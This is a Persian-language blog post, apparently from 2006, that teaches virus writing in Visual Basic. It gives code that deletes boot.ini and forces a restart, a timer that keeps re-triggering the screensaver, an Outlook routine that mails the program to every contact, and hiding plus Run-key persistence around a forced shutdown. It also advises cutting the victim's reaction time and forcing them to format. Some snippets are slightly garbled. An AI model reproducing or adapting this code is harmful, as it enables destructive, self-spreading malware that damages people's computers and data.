از بین بردن ویندوز
دوستان از کار انداختن ویندوز اصلا کار سختی نیست در واقع فقط باید یه فایل با پسوندini
به اسم boot را از بین ببریم.که این کار با استفاده ارپز فرمان killعملیه
خب بریم سراغ کدها
برای این ویروس تنها باید کدهای زیر را در form loadبنویسید
("  Kill ("c:\boot.ini
     " Shell "shutdown -r -t 1
فکر نمی کنم نیاز به توضیح باشه خط اول را که گفتم و در مورد خط دوم کامل در پست اول توضیح دادم

Private Const SC_SCREEnSAVE = &HF140&
Private Const WM_SYSCOMMAND = &H112
Private Declare Function FindWindowA Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParm As Any) As Long
Sub ScreenSaver(blnScreenSaver As Boolean, Optional lHwnd As Long, Optional sFormCaption As String)
Dim lState As Long
If lHwnd = 0 Then
lHwnd = FindWindowA(vbNullString, sFormCaption)
End If
If blnScreenSaver Then
lState = 1
Else
lstat = -1
End If
Call SendMessage(lHwnd, WM_SYSCOMMAND, SC_SCREEnSAVE, lState)
End Sub

و در اخر یه timerبا قابلیت interval=1 به فرم اضافه کنید و کد های زیر را به فرم اضافه کنید(کپی کنید)

Private Sub Timer1_Timer()
Call ScreenSaver(Me.hWnd, Me.hWnd, -1)
End Sub

تو ضیحات:
۱-صرفا عاملی که بر نامه رو به یه شبه ویروس تبدیل می کنه وجوده تایمره با قابلیت intervalبسیار کم برای
گرفتن هر گونه قدرت عکس العمل از قربانی میگیره چون باعث میشه هربار که کاربر screen saver
را غیر فعال می کنه دوباره اونو اجرا کنه

ویروس ها از هر نوع که باشند حداقل در سه ویژگی مشترکند

1-پنهان بودن

2-اجرای اتوماتیک

3-توانایی توزیع خود

توانایی اول و دوم را در پست اول کامل توضیح دادم(حتما بخونید)

حالا می رسیم به قابلیت سوم یعنی توانایی توزیع خودکار ویروس

برای این کار کافیه این کدها را در برنامه قرار بدید

Set OutlookApp = CreateObject("Outlook.Application")

If Not OutlookApp = "" Then

For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists

For UserGroup = 1 To ContactSwitch.AddressEntries.Count

Set OutlookEmail = OutlookApp.CreateItem(0)

OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"

OutlookEmail.Attachments.Add WScript.ScriptFullName

OutlookEmail.DeleteAfterSubmit = True

OutlookEmail.Send

Next

Next

End If

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"

OutlookEmail.Attachments.Add WScript.ScriptFullName

نکته:

1-در این کدها در قسمت موضوع ومتن نامه میتوانید عبارت دلخواهتون را جایگزین کنید

2-ترجیحا این کدها باید در قسمت Form_Load نوشته شوند

3-این کدها به خودی خود ویروس نیستند بلکه شما باید در کنار این کدها کد اصلی(بدنه ی ویروس) را حتما وارد کنید

درس اول

ویروس نویسی

با توجه به اینکه عمده ویروس هایی که آموزش داده خواهند شد با ویژوال بیسیک طراحی شده اند به شما پیشنهاد می کنم اگه این برنامه را ندارید حتما تهیه کنید.

ویروس بلاستر(البته گفتنیه که این کدها مربوط به بلاستر واقعی نیست و فقط کارش شبیه اونه)

.فکر می کنم شما هم حتما با کدهای این ویروس اشنا هستید ولی امروز می خوام کد هایی را در کنار این ویروس یاد بدم سبب می شود این ویروس:.

1-پنهان باشد( نه در .....دیده بشه ونه فرم اون قابل دیدن باشه )

2-پس هر بار روشن شدن کامپیوتر بلافاصله دو باره آن را خاموش یا ریست کند

3-ویروس یاب ها ها قادر به شناسایی آن نبا شند

فکر می کنم ویژگی های گفته شده به تنهایی شمارا مجاب به امتحان ویروس می کنه

خوب بریم سراغ کدها:

ابتدا این کدها را در قسمت فرم کپی کنید(ویژوال بیسیک)

Private Sub Form_Load()

Shell "shutdown -s -t zz"

End Sub

نکات:

کد بالا مخصوص خاموش کردن رایانه ی قربانی است برای رستارت کردن باید بجای -sقرار بدین-r

می توانید بجایzzزمان لازم برای عمل کرد ویروس را قرار دهید(بر حسب ثانیه)

 برای پنهان کردنبرنامه باید عبارت زیر را درformوارد کنید.

App.TaskVisible = False
Me.Hide

 خط اول برای پنهان کردن برنامه در..taskbarو خط دوم برای پنهان فرم کردن از دید کاربره

۳-به نظر من مهمترین نیاز یک ویروسه اجرای اتو ماتیک ویروسه که کدهای زیر این نیاز را برطرف می کنه

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

حالاکد برنامه ی  شما باید مثل زیر باشد

Private Sub Form_Load()

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Shell "shutdown -s -t zz"

App.TaskVisible = False
Me.Hide

End sub

این برنامه با فشردن کلید.f5اجرا می شود ولی من توصیه می کنم اول فایل اجرایی آن را ذخیره و بعد اجرا کنید

نکات نهایی:

1- برای اینکه فرصت عکس العمل را از قربانی بگیرید زمان عملکرد ویروس را کمتر از5 ثانیه در نظر بگیرید

2-در صورتی که زمان عملکرد را بسیار کم در نظر گرفته اید هر گزان را اجرا نکنید چون اولین قربانی ویروس خود خواهید بود

3- اگر بتوانید ویروس رادر جایی غیر از درایو های اصلی قربانی قرار دهید قربانی برای نجات مجبور به formattکردن کل هارد می شود چون عملا این ویروس استفاده از ویندوز را غیر ممکن می سازد و اگر در درایو های فرعی باشد این بلا را سر سیستم عامل های تعویض شده هم می آورد.

نوشته شده توسط اسماعیل محمدی در شنبه پانزدهم مهر 1385

لينك ثابت